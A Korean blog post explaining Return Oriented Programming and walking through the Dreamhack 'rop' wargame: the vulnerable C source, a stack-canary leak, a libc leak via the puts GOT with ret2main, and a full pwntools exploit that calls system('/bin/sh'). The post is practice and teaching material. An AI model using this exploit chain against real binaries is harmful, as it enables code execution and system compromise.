[PWN] ROP

Magnolia·2026년 3월 10일

ROP (Return Oriented Programming)

ROPASLR, NX와 같은 보호기법을 우회하기 위한 공격 기법으로 프로그램에 존재하는 가젯들을 연결하여 원하는 동작을 수행하는 공격 기법이다.

  • NX (Non-Executable Memory)
    스택 영역을 실행 불가능하게 만들어 셸코드 실행을 막는 보호 기법
  • ASLR (Address Space Layout Randomization)
    메모리 주소를 랜덤화하여 공격자가 정확한 주소를 예측하기 어렵게 하는 보호 기법

이러한 환경에서는 스택에 셸코드를 삽입하여 실행하는 전통적인 스택 버퍼 오버플로우 공격이 어려워진다.
따라서 공격자는 프로그램 내부에 이미 존재하는 코드 조각들인 가젯을 이용하여 공격을 수행하게 된다.


Gadget

ROP 공격에서 사용하는 코드 조각을 Gadget 이라고 한다.

pop rdi
ret
mov rax, rdi
ret
syscall
ret

이렇게 이미 프로그램 또는 libc에 존재하는 코드 조각이 가젯이다.
대부분 ret 명령어로 끝나며, 짧은 명령어 조합이다.


ROP의 동작 원리

ROP는 Return Address를 조작하여 Gadget을 체인 형태로 실행한다.

스택 구조는 다음과 같이 구성된다.

[BUFFER]
[pop rdi ; ret]
[arg]
[system]

이렇게 여러 가젯을 연결한 구조를 ROP Chain 이라고 한다.

  1. pop rdi ; ret 실행
  2. 스택에서 값을 꺼내 rdi 레지스터에 저장
  3. system 함수 호출

rdi 레지스터는 함수 호출 시 첫 번째 인자를 전달하는 용도로 사용된다.

따라서 [arg]"/bin/sh"가 들어있다면 rdi 레지스터에 [arg]가 들어가게 되고 system()rdi에 있는 값을 인자로 하기 때문에

system("/bin/sh")

가 실행되며 셸을 획득할 수 있다.


Dreamhack : rop

rop.c

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

보호 기법

취약점 분석

char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  ...

buf의 크기가 0x30 이지만, read 함수를 통하여 buf0x100만큼 입력을 받기 때문에 BOF가 발생한다.

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

여기 또한 마찬가지로 BOF가 발생한다.

익스플로잇

먼저 카나리가 켜져있기 때문에 BOF 취약점을 이용하여 첫 번째 입력에서 카나리를 릭하고 두 번째 입력에서 ROP 체인을 구성하여 익스플로잇 할 수 있다.

Canary Leak

p.recvuntil(b'Buf: ')
payload = b'A' * 57
p.send(payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
print(f'Canary: {hex(canary)}')

buf의 뒤에 있는 카나리 널바이트를 덮기 위해 57바이트의 더미를 보내고 오는 응답에서 56바이트만큼의 더미를 받고 뒤에 이어져 나오는 카나리 첫바이트를 널바이트로 받고 뒤에 7바이트를 받아 카나리를 릭한다.

가젯 확보

ROP 체인을 구성하기 위해 필요한 가젯인 pop rdi ; ret 가젯을 다음 명령어로 찾을 수 있다.

ROPgadget --binary ./rop | grep 'pop rdi'


이후 스택 정렬을 위해 ret 가젯도 구한다.

libc Leak

libc에 있는 system 함수를 사용하기 위해 libc base를 알아야한다.

libc leak을 위해 프로그램 내에 있는 puts 함수를 사용하여 puts의 GOT 주소를 릭하고 오프셋을 빼서 libc base를 구할 것이다.

p.recvuntil(b'Buf: ')
payload = b'A' * 56
payload += p64(canary)
payload += b'B' * 8
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
p.send(payload)

이렇게 ROP 체인을 구성할 수 있다.
우선 버퍼 56바이트와 카나리, SFP를 덮고 아까 구한 pop rdi 가젯에 puts 함수의 GOT를 넣고, puts 함수의 PLT를 호출하게되면 puts@plt의 인자로 puts의 GOT가 들어가게 되고 libc에 적재된 puts 함수의 실제 주소를 릭할 수 있다. 그리고 main으로 돌아가서 다시 입력을 받아 두 번째 ROP 페이로드를 보낼 수 있다.

필요한 정보를 얻고 다시 공격을 수행하기 위해 main으로 돌아가는 공격 기법을 ret2main 이라고 한다.

leak = u64(p.recvn(6) + b'\x00\x00')
libc_base = leak - libc.symbols['puts']
print(f'Libc base: {hex(libc_base)}')
system = libc_base + libc.symbols['system']
print(f'System: {hex(system)}')
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
print(f'/bin/sh: {hex(bin_sh)}')

페이로드 전송 이후 릭되는 libc에 적재된 puts 실제 함수 주소 8바이트를 받고 릭에서 libc의 puts 오프셋만큼 빼서 libc base를 구한다. 구한 libc base를 기반으로 system함수와 "/bin/sh"의 위치를 구한다.

셸 획득

p.recvuntil(b'Buf: ')
payload = b'A' * 56
payload += p64(canary)
payload += b'B' * 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)
p.send(payload)

이제 얻은 주소들을 기반으로 위와 같이 ROP 체인을 구성할 수 있다.
버퍼, 카나리, SFP를 모두 덮고 스택 정렬을 위해 ret 가젯을 끼워넣는다.
이후 pop rdi 가젯을 통해 rdi 레지스터에 "/bin/sh" 주소를 넣고 system 함수를 호출하여 셸을 획득할 수 있다.

전체 익스플로잇

from pwn import *

p = process('./rop')
e = ELF('./rop')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

puts_plt = e.plt['puts']
puts_got = e.got['puts']
main = 0x4006f7

pop_rdi = 0x0000000000400853
ret = 0x0000000000400596

p.recvuntil(b'Buf: ')
payload = b'A' * 57
p.send(payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
print(f'Canary: {hex(canary)}')

p.recvuntil(b'Buf: ')
payload = b'A' * 56
payload += p64(canary)
payload += b'B' * 8
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
p.send(payload)

leak = u64(p.recvn(6) + b'\x00\x00')
libc_base = leak - libc.symbols['puts']
print(f'Libc base: {hex(libc_base)}')
system = libc_base + libc.symbols['system']
print(f'System: {hex(system)}')
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
print(f'/bin/sh: {hex(bin_sh)}')

pause()

p.recvuntil(b'Buf: ')
payload = b'A' * 56
payload += p64(canary)
payload += b'B' * 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)
p.send(payload)

p.interactive()


이런식으로 셸을 획득할 수 있다.

0개의 댓글